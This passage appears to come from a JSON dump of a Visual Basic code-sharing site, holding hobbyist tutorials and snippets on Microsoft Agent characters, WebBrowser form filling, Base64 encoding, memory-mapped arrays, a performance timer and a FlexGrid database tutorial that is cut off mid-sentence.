"http://agent.microsoft.com/characters/v2/genie/genie.acf"\n \n‘Create an object with reference to the character on the Microsoft\nserver \n \nset Char= AgentCtl.Characters\n("Genie") 'Set the the Char string to = The\nAgent Cotnrol\nChar.Get "state",\n"Showing" \n‘Get the Showing state animation\nChar.Show 'Show the\nCharacter\n \nEnd Sub\n -->\n \n</SCRIPT>\n \nSending Requests to the\nServer\nYou will need to send requests to the agent\nserver in order to do certain commands.\n \nDim Request\n \nSet Request = Agent1.Characters.Load ("Genie", "http://agent.microsoft.com/characters<a name=\"_Hlt390052700\">/v2/genie/</a>genie.acf")\n'Sets the request<o:p>\n</o:p>\n\n \nIf (Request.Status = 2) then 'Request is in\nQueue \n'Add your code here (you\ncan send text to status bar or something)<o:p>\n</o:p>\n\n \nElse If (Request.Status = 0) then 'Request\nsuccessfully completed\n'Add your code here (you\ncan do something like display the annimation)<o:p>\n</o:p>\n\n \nEnd If\n \n \nShowing Animations\nIf you are using VB script you will need to\nget the animations from a server using the Get method. For example the\nfollowing code will get all the 'Moving' animations which the character needs.\nAgentCtl.Characters\n("Peedy").Get "Animation", "Moving", True \nAfter an animation is loaded you should be\nable to play it in the usual way.\n \n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n \n \nFun Agent Code to Add to\nyour Applications\nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n \nFrequently Asked\nQuestions\nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nThe agent files can be freely downloaded, but\nyou are never the less bound by the Microsoft EULA (End User License Agreement).\nFor more information go to the URL specified below. The agent files (inlcuding the character\nfiles) are available for download on <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \nWhy don't some functions\n(commands) work on some character files?\nSome versions of character files will\nhave more functions, so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle3_3" function does not work on Robby.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish or\nmay even loop for ever so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent in my\napplications?\nYes! as far as I know Microsoft is\ndistributing this freely across the internet. You can use the control freely\n(for more info go to the MSDN site - msdn.microsft.com ), and you can use any of\nthe code you see in this tutorial freely!\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \nCan I use Ms Agent in VB 4.0?\nI have got reports that you can use Ms Agent\n1.5 in Visual Basic 4. I am not sure if it will work in VB 4.0 (16 Bit), but it\nshould work in VB 4.0 (32 Bit). \n \nCan I use Ms Agent in Java?\nAs far as I know you can. I saw some Java\ncode on the MSDN site. You may want to check out the site (see below for URL).\n \nWhere can I get more info on\nMs Agent?\nMicrosoft's\nofficial Ms Agent developer page is at - <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \nWhen are you going to add a\nSpeech Recognition Section?\nHave patience. I will add this tutorial as\nsoon as possible (I am working on it!). \n \nWhat can I expect in your\nnext tutorial?\nFrankly... a lot! I hope to add a speech\nrecognition section as well as how to control Ms Agent via API.\n \nTHE END\nA lot of hard work\nhas gone into this tutorial. I have spent many hours writing this article\nin an easy to understand manner. If you like this please vote for me.\nAlso feel free to post any comments or suggestions as to what I\ncan include in the next version.\n"},{"WorldId":1,"id":13424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13439,"LineNumber":1,"line":"Add the following code to form1:\nPrivate Sub Command1_Click()\n Dim doc As HTMLDocument 'Reference MSHTML.TLB - may end up being IHTMLDocument3\n 'go to the altavista (text) search page\n WebBrowser1.Navigate \"http://www.altavista.com/cgi-bin/query?text\"\n 'Wait until page is loaded\n Do\n DoEvents\n Loop Until Not WebBrowser1.Busy\n 'Make doc reference to the document inside the webbrowser control\n Set doc = WebBrowser1.Document\n 'Set field q with the value of Text1\n SetInputField doc, 0, \"q\", Text1\n 'Submit the form (same result as click the search button)\n doc.Forms(0).submit\n 'Wait until result are loaded\n Do\n DoEvents\n Loop Until Not WebBrowser1.Busy\n MsgBox \"Altavista search result loaded\"\nEnd Sub\n \n'Add the following code to a module:\nPublic Sub SetInputField(doc As HTMLDocument, Form As Integer, Name As String, Value As String)\n'doc = HTMLDocument, can be retrieved \n' from webbrowser --> webbrowser.document\n'Form = number of the form \n' (if only one form in the doc --> Form = 0)\n'Name = Name of the field you would like to fill\n'Value = The new value for the input field called name\n'PRE: Legal parameters entered\n'POST: Input field with name Name on form Form in document doc will be filled with Value\n For q = 0 To doc.Forms(Form).length - 1\n If doc.Forms(Form)(q).Name = Name Then\n doc.Forms(Form)(q).Value = Value\n Exit For\n End If\n Next q\nEnd Sub\n'Additional useful subs:\n'Sub to get the contents from a textbox:\nPublic Function GetInputField(doc As HTMLDocument, Form As Integer, Name As String) As String\n For q = 0 To doc.Forms(Form).Length - 1\n If doc.Forms(Form)(q).Name = Name Then\n GetInputField = doc.Forms(From)(q).Value\n Exit For\n End If\n Next q\nEnd Function\n'Sub to set a Checkbox:\nPublic Sub SetCheckBox(doc As HTMLDocument, Form As Integer, Name As String, Value As Boolean)\n For q = 0 To doc.Forms(Form).Length - 1\n If doc.Forms(Form)(q).Name = Name Then\n doc.Forms(From)(q).Checked = Value\n Exit For\n End If\n Next q\nEnd Sub\n'Sub set a radio button:\nPublic Sub SetRadioButton(doc As HTMLDocument, Form As Integer, Name As String, Name2 As String)\n For q = 0 To doc.Forms(Form).Length - 1\n If (doc.Forms(Form)(q).Name = Name) And (doc.Forms(Form)(q).Value = Name2) Then\n doc.Forms(From)(q).Checked = True\n Exit For\n End If\n Next q\nEnd Sub\n'Sub to make a selection in a ComboBox with Option Values:\nPublic Function SetComboBoxValue(ByVal doc As IHTMLDocument3, Form As Integer, Name As String, Name2 As String)\nDim q, i\nFor q = 0 To doc.Forms(Form).length - 1\n If (doc.Forms(Form)(q).Name = Name) Then\n For i = 0 To doc.Forms(Form)(q).length - 1\n If doc.Forms(Form)(q).Options(i).Value = Name2 Then\n doc.Forms(Form)(q).Options(i).Selected = True\n Exit For\n End If\n Next i\n End If\nNext q\nEnd Function\n'Sub to make a selection in a ComboBox without Option Values:\nPublic Function SetComboTextValue(ByVal doc As IHTMLDocument3, Form As Integer, Name As String, Name2 As String)\nDim q, i\nFor q = 0 To doc.Forms(Form).length - 1\n If (doc.Forms(Form)(q).Name = Name) Then\n For i = 0 To doc.Forms(Form)(q).length - 1\n If doc.Forms(Form)(q).Options(i).Text = Name2 Then\n doc.Forms(Form)(q).Options(i).Selected = True\n Exit For\n End If\n Next\n End If\nNext q\nEnd Function"},{"WorldId":1,"id":13443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13445,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13458,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13472,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13478,"LineNumber":1,"line":"Public Function sBase64Enc(sData As String) As String\n 'Base64 Conversion\n 'Example:\n ' Dim sMyConv As String\n ' sMyConv = sBase64Enc(\"Hello =)\")\n On Error Resume Next\n Dim x As Long\n Dim nByte As Long\n Dim nAsc As Long\n Dim sBin As String\n Dim sRet As String\n Dim sByte As String\n Dim nIncr As Integer\n 'Convert the data to standard\n 'base-2 binary.\n For x = 1 To Len(sData)\n DoEvents\n nByte = CLng(Asc(Mid(sData, x, 1)))\n For y = 1 To 8\n nIncr = CInt(2 ^ (8 - y))\n If CLng(nByte) - CLng(nIncr) >= 0 Then\n nByte = nByte - CLng(nIncr)\n sBin = sBin & \"1\"\n Else: sBin = sBin & \"0\"\n End If\n Next y\n Next x\n 'Check to see if the conversion was completed\n 'and if so, encode the data using the Base64\n 'algorithm.\n If CLng(Len(sBin) Mod 8) = 0 Then\n 'Binary conversion ok!, parse\n 'every 6 bits of data.\n For x = 1 To Len(sBin) Step 6\n DoEvents\n sByte = Mid(sBin, x, 6)\n For y = 1 To Len(sByte)\n DoEvents\n nByte = Val(Mid(sByte, y, 1))\n If Not nByte = 0 Then\n nAsc = nAsc + CInt(2 ^ (6 - (y)))\n End If\n Next y\n 'Base64 Conversion:\n Select Case (nAsc + 65)\n Case Is > 90 'Either lowercase or numeric\n If (nAsc + 71) > 122 Then\n sByte = Chr(nAsc - 4)\n Else\n sByte = Chr(nAsc + 71)\n End If\n Case Is < 90 'Uppercase\n sByte = Chr(nAsc + 65)\n End Select\n 'Append new characters to the final\n 'string and reset temporary variables.\n sRet = sRet & sByte\n nAsc = 0\n Next x\n End If\n 'Finished, output the data to the\n 'function variable.\n sBase64Enc = sRet\nEnd Function"},{"WorldId":1,"id":13479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13502,"LineNumber":1,"line":"'Text2 is the TextBox to search for the string in.\nDim I as Integer\nPrivate Sub Command1_Click()\n For I = 1 To Len(Text2)\n If Mid(Text2, I, Len(Text1)) = Text1 Then\n MsgBox \"String located and highlighted.\"\n Text2.SetFocus\n Text2.SelStart = I - 1\n Text2.SelLength = Len(Text1)\n End If\n Next I\nEnd Sub()"},{"WorldId":1,"id":13506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13516,"LineNumber":1,"line":"Private Type SAFEARRAYBOUND\n cElements As Long\n lLbound As Long\nEnd Type\nPrivate Type SAFEARRAY2D\n cDims As Integer\n fFeatures As Integer\n cbElements As Long\n cLocks As Long\n pvData As Long\n Bounds(0 To 1) As SAFEARRAYBOUND\nEnd Type\n' keep it safe, be global\nDim mArray() As Double\nDim tSA As SAFEARRAY2D\nDim hFile As Long\nDim hFileMapping As Long\nDim lpFileBase As Long\nSub Create2DMMArray(Filename As String, ElemSize As Long, n As Long, m As Long)\n With tSA\n .cbElements = ElemSize\n .cDims = 2\n .Bounds(0).lLbound = 0\n .Bounds(0).cElements = m\n .Bounds(1).lLbound = 0\n .Bounds(1).cElements = n\n .fFeatures = &H10 Or &H2 ' FADF_FIXEDSIZE and FADF_STATIC\n .cLocks = 1\n \n GetViewOfFile Filename, ElemSize, n, m\n .pvData = lpFileBase\n End With\n \n If tSA.pvData = 0 Then\n Err.Raise 1243, \"Create2DMMArray()\", \"Memory mapping failed\"\n Else\n CopyMemory ByVal VarPtrArray(mArray()), VarPtr(tSA), 4\n End If\n \nEnd Sub\nFunction GetViewOfFile(Filename As String, ElemSize As Long, n As Long, m As Long) As Long\n hFile = CreateFile(Filename, GENERIC_READ Or GENERIC_WRITE, 0, 0, _\n CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, vbEmpty)\n If hFile = -1 Then Err.Raise Err.LastDllError, \"GetViewOfFile()\", \"Could not open file \" & Filename\n \n Dim FileSize As Long\n FileSize = ElemSize * m * n\n hFileMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, FileSize, vbEmpty)\n lpFileBase = MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0 * FileSize)\n GetViewOfFile = lpFileBase\nEnd Function\nFunction FreeViewOfFile() As Long\nDim ret As Long\n ' Clear the temporary array descriptor\n ' This may be necessary under NT4.\n CopyMemory ByVal VarPtrArray(mArray), 0&, 4\n \n FreeViewOfFile = UnmapViewOfFile(lpFileBase)\n If FreeViewOfFile = 0 Then Debug.Print \"Error: \", Err.LastDllError\n' If FreeViewOfFile = 0 Then Err.Raise Err.LastDllError, \"FreeViewOfFile()\", \"Memory unmapping failed\"\n ret = CloseHandle(hFileMapping)\n ret = CloseHandle(hFile)\nEnd Function\nFunction checkMMA()\nDim n As Long, m As Long, i As Long, j As Long\nDim Filename As String, ElemSize As Long\n Filename = \"c:\\kill.me\"\n n = 10 ^ 6: m = 10\n ElemSize = 8 ' size of Double is 8\n \n 'Create 2D Array(m,n) of Double,\n Create2DMMArray Filename, ElemSize, n, m\n \n 'random acess to our file\n For i = 0 To 1000\n mArray(Rnd * n Mod n, Rnd * m Mod m) = i\n Next i\n' close down, destroy array\n' this MUST be called\nFreeViewOfFile\nEnd Function\n"},{"WorldId":1,"id":13517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13557,"LineNumber":1,"line":"' Unsigned 64-bit long\nPublic Type LongLong\n LowPart As Long\n HighPart As Long\nEnd Type\nDeclare Function QueryPerformanceCounter Lib \"kernel32\" _\n (lpPerformanceCount As LongLong) As Long\nDeclare Function QueryPerformanceFrequency Lib \"kernel32\" _\n (lpFrequency As LongLong) As Long\nDeclare Function timeGetTime Lib \"winmm.dll\" () As Long\nPublic Function TimerElapsed(Optional ┬╡S As Long = 0) As Boolean\nStatic StartTime As Variant ' Decimal\nStatic PerformanceFrequency As LongLong\nStatic EndTime As Variant ' Decimal\nDim CurrentTime As LongLong\nDim Dec As Variant\n If ┬╡S > 0 Then\n ' Initialize\n If QueryPerformanceFrequency(PerformanceFrequency) Then\n ' Performance Timer available\n Debug.Print PerformanceFrequency.HighPart & \" \" & PerformanceFrequency.LowPart\n If QueryPerformanceCounter(CurrentTime) Then\n Else\n ' Performance timer is available, but is not responding\n CurrentTime.HighPart = 0\n CurrentTime.LowPart = timeGetTime\n PerformanceFrequency.HighPart = 0\n PerformanceFrequency.LowPart = 1000\n End If\n Else\n ' Performance timer is not available.\n CurrentTime.HighPart = 0\n CurrentTime.LowPart = timeGetTime\n PerformanceFrequency.HighPart = 0\n PerformanceFrequency.LowPart = 1000\n End If\n ' Work out start time...\n ' Convert to DECIMAL\n Dec = CDec(CurrentTime.LowPart)\n ' make this UNSIGNED\n If Dec < 0 Then\n Dec = CDec(Dec + (2147483648# * 2))\n End If\n ' Add higher value\n StartTime = CDec(Dec + (CurrentTime.HighPart * 2147483648# * 2))\n \n ' Put performance frequency into Dec variable\n Dec = CDec(PerformanceFrequency.LowPart)\n ' Convert to unsigned\n If Dec < 0 Then\n Dec = CDec(Dec + (2147483648# * 2))\n End If\n ' Add higher value\n Dec = CDec(Dec + (PerformanceFrequency.HighPart * 2147483648# * 2))\n \n ' Work out end time from this\n EndTime = CDec(StartTime + ┬╡S * Dec / 1000000)\n TimerElapsed = False\n Else\n If PerformanceFrequency.LowPart = 1000 And PerformanceFrequency.HighPart = 0 Then\n ' Using standard windows timer\n Dec = CDec(timeGetTime)\n If Dec < 0 Then\n Dec = CDec(Dec + (2147483648# * 2))\n End If\n If Dec > EndTime Then\n TimerElapsed = True\n Else\n TimerElapsed = False\n End If\n Else\n If QueryPerformanceCounter(CurrentTime) Then\n Dec = CDec(CurrentTime.LowPart)\n ' make this UNSIGNED\n If Dec < 0 Then\n Dec = CDec(Dec + (2147483648# * 2))\n End If\n Dec = CDec(Dec + (CurrentTime.HighPart * 2147483648# * 2))\n If Dec > EndTime Then\n TimerElapsed = True\n Else\n TimerElapsed = False\n End If\n Else\n ' Should never happen in theory\n Err.Raise vbObjectError + 2, \"Timer Elapsed\", \"Your performance timer has stopped functioning!!!\"\n TimerElapsed = True\n End If\n End If\n End If\nEnd Function\n' Example use\nPublic Sub DummySub()\nDim i As Long\n ' count for 5 seconds and then display result\n TimerElapsed (5000000)\n i = 0\n Do While TimerElapsed = False\n i = i + 1\n DoEvents\n Loop\n MsgBox i\nEnd Sub"},{"WorldId":1,"id":13560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13562,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>FlexGrid Tutorial</title>\n</head>\n<body>\n<table border=\"0\" width=\"100%\">\n <tr>\n <td width=\"100%\">\n<h1 align=\"center\">FlexGrid Tutorial</h1>\n This program is designed to teach the user how to load\ndata into a FlexGrid from a database and then manipulate the FlexGrid to perform typical database actions such as Add, Edit, Sort, and\nDelete. \n\n<h2>Part One - Setting Up the FlexGrid</h2>\n \n<h3>1st Step: </h3>\nA. Go to the Project Menu Tab and select Components. \nB. Add the Microsoft Flexgrid Control 6.0\n\n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/component.jpg\">Picture\nOne</a>\n\n \nC. Go to the Project menu Tab and select References. \nD. Add Microsoft ActiveX Data Objects 2.1 Libray.\n\n \n\n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/reference.jpg\">Picture\nTwo</a>\n\n<h3>2nd Step</h3>\nA. Rename the form to frmMain. \nB. Change the form's Caption To \"FlexGrid Tutorial" \nC. Rename the project to FlexGridTutorial. \nD. Add a FlexGrid to the form. \nE. Using the property window, Rename the FlexGrid to fg. \n\n \n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/frmmain01.jpg\">Picture\nThree</a>\n<h3>3rd Step:</h3>\n \nA. Declare a connection and recordset object (Code Follows). \nB. In the Form_Load Event, open the connection and recordset (Code Follows). \nC. Also, from the Form_Load Event, call the LoadFG Procedure (This is not written yet- It will be the next step). \n \nOption Explicit \nDim WithEvents cn As ADODB.Connection \nDim WithEvents rs As ADODB.Recordset \n \nPrivate Sub Form_Load() \n \n Dim strConnect As String \n \n strConnect = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & _ \n App.Path & \"\\fgtutorial.mdb\" \n \n Set cn = New ADODB.Connection \n cn.CursorLocation = adUseClient \n cn.Open strConnect \n \n Set rs = New ADODB.Recordset \n rs.CursorLocation = adUseClient \n rs.CursorType = adOpenForwardOnly \n rs.LockType = adLockPessimistic \n rs.Source = \"SELECT * FROM [Employees]\" \n rs.ActiveConnection = cn \n rs.Open \n \n Call LoadFG \nEnd Sub \n \n\n<h3>4th Step: \n</h3>\nA. Write the LoadFG Procedure as follows \n \nPrivate Sub LoadFG() \n \n 'The AllowUserResizing property \n ' allows the user to resize \n ' the columns and rows during \n ' runtime when it is set to \n ' flexResizeBoth. \n ' The other options are: \n ' flexResizeColumns \n ' flexResizeNone \n ' flexResizeRows \n \n fg.AllowUserResizing = flexResizeBoth \n \n 'Set the number of columns by using the \n ' number of fields plus one. One is added \n ' in order to leave the first column \n ' (row headers) blank. Note that you can \n ' use any number for the number of columns \n ' if you want to leave certain data out. \n ' For example, if you only want to use \n ' three fields out of ten, set fg.cols \n ' equal to 4. \n fg.Cols = rs.Fields.Count + 1 \n \n 'Set the number of rows equal to one \n ' for the time being. We do this since \n ' we are going to be adding the column \n ' titles first. When we are finished \n ' adding the column headers, we will \n ' populate the rest of the table. \n fg.Rows = 1 \n \n Dim i As Integer 'This will be a counter. \n \n 'Fill in the column headings with the \n ' field names from the recordset. Note \n ' that we are using the field names \n ' from the database for the column \n ' headers. You could \n ' assign whatever header you like by \n ' simply doing something like the \n ' following: \n ' fg.Col = 0 \n ' fg.Text = \"First Column\" \n ' fg.Col = 1 \n ' fg.Text = \"Second Column\" \n ' etc. \n 'Row 0 is the first row (and only row). It is \n ' where the headers will be placed. \n fg.Row = 0 \n For i = 0 To rs.Fields.Count - 1 \n 'Move to column i. Remember that the \n ' first column is left blank so \n ' we shift over 1. \n fg.Col = i + 1 \n \n 'The following line aligns the cell. \n ' The other options for alignment are: \n ' \n ' flexAlignLeftTop 0 \n ' flexAlignLeftCenter 1 \n ' flexAlignLeftBottom 2 \n ' flexAlignCenterTop 3 \n ' flexAlignCenterCenter 4 \n ' flexAlignCenterBottom 5 \n ' flexAlignRightTop 6 \n ' flexAlignRightCenter 7 \n ' flexAlignRightBottom 8 \n ' flexAlignGeneral 9 \n fg.ColAlignment(i) = flexAlignLeftCenter \n \n 'Set the text in the current cell \n ' to the field name. \n fg.Text = rs.Fields(i).Name \n Next \n \n 'This would be a good time to run\nthe project \n ' to see what you have.\nTry to resize the \n ' columns using the mouse. \n \n \n 'Fill in the data from the db into the \n ' grid. \n Do While Not rs.EOF \n 'Add a row to the FlexGrid everytime \n ' the database goes to another row. \n fg.Rows = fg.Rows + 1 \n \n 'Move to last row to add data. \n fg.Row = fg.Rows - 1 \n \n 'Move to every cell in the row \n ' and fill it in with the \n ' corresponding value from the \n ' database. \n For i = 0 To rs.Fields.Count - 1 \n \n'Remember that the \n \n' first column is left blank so \n \n' we shift over 1. \n \nfg.Col = i + 1 \n \nfg.Text = rs(i).Value & \"\" \n Next \n 'Move to the next record. \n rs.MoveNext \n Loop\n\n \n\n\n 'The first column is the headers for the \n\n ' rows. Change its width so that \n\n ' it is not as wide as the other columns. \n\n ' You could change all column widths \n\n ' with a for next loop. \n fg.ColWidth(0) = 500 \n \n 'The FlexGrid is loaded. \n ' Now is a good time to run the \n ' the program and view your results. \nEnd Sub\n \n \n\n<h2>Part Two - Adding Common Database Functions\n</h2>\n<h3>1st Step\n</h3>\nA. Go to the Tools Menu and select Menu Editor. \nB. Add the following menus: \n File \n Exit \n Edit \n Add \n Delete \n Sort \n Properties of Menus: \n Name \nCaption \n mnuFile \n&File \n mnuFileExit \nE&xit \n mnuEdit \n&Edit \n mnuEditAdd &Add \n mnuEditDelete &Delete \n mnuEditSort &Sort\n\n \n\n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/menueditor.jpg\">Picture\nFour</a>\n\n\nC. Program in the follwing procedures for the mnuFileExit_Click event. \n \n \n \nPrivate Sub mnuFileExit_Click() \n \n \n 'Tidy up the objects floating in memory. \n Set cn = Nothing \n Set rs = Nothing \n End \nEnd Sub\n\n<h3> \n2nd Step\n</h3>\nA. Add the following code for the delete procedure. \n \nPrivate Sub mnuEditDelete_Click() \n \n Dim intChoice As Integer \n Dim intEmployeeID As Integer \n \n 'Move to column 0 so that we can get \n ' the employeeid number. This will \n ' be used to delete the record from \n ' the database. \n fg.Col = 1 \n intEmployeeID = fg.Text \n \n 'find the desired record and kill it. \n rs.MoveFirst \n rs.Find (\"EmployeeID Like '\" & intEmployeeID & \"'\") \n intChoice = MsgBox(\"Are you sure you want to delete \" & _ \n \"the record of \" & rs.Fields(\"FirstName\").Value & \" \" & _ \n \nrs.Fields("LastName").Value & "?", vbYesNo, \"Delete?\") \n \n 'Confirm Delete \n If intChoice = vbYes Then \n rs.Delete \n \n 'This command does not delete the row from \n ' database. It just removes the row. \n ' from the flexgrid. \n fg.RemoveItem (fg.Row) \n Else \n MsgBox \"Delete Cancelled\", vbOKOnly, \"Cancelled\" \n End If\n\n \n\n 'Potential Problem: You cannot remove the last \n ' non-fixed row from the flexgrid. Try it. \n ' Delete all rows. When you delete the last \n ' one, it is deleted from the database, but \n ' not from the flexgrid. \n 'I do not know the best solution for this \n ' problem, but I do have temporary solution \n ' that works for me. \n ' Replace fg.RemoveItem (fg.Row) with the \n ' following code: \n ' \n ' if rs.RecordCount <> 0 then \n ' \nfg.RemoveItem(fg.Row) \n ' Else \n ' \nfg.RowHeight(fg.Row) = 0 \n ' End If \n ' \n 'The problem with this fix is that the row still \n ' exists in the flexgrid until the app is \n ' closed. When it is opened again, the \n ' row will not be there. \nEnd Sub\n\n<h3>3rd Step\n</h3>\nA. Program the following code for the mnuEditSort_Click procedure\n\nPrivate Sub mnuEditSort_Click() \n 'This will sort the flexgrid according to \n ' the column that is selected. We have \n ' selected sort ascending. The other options \n ' are 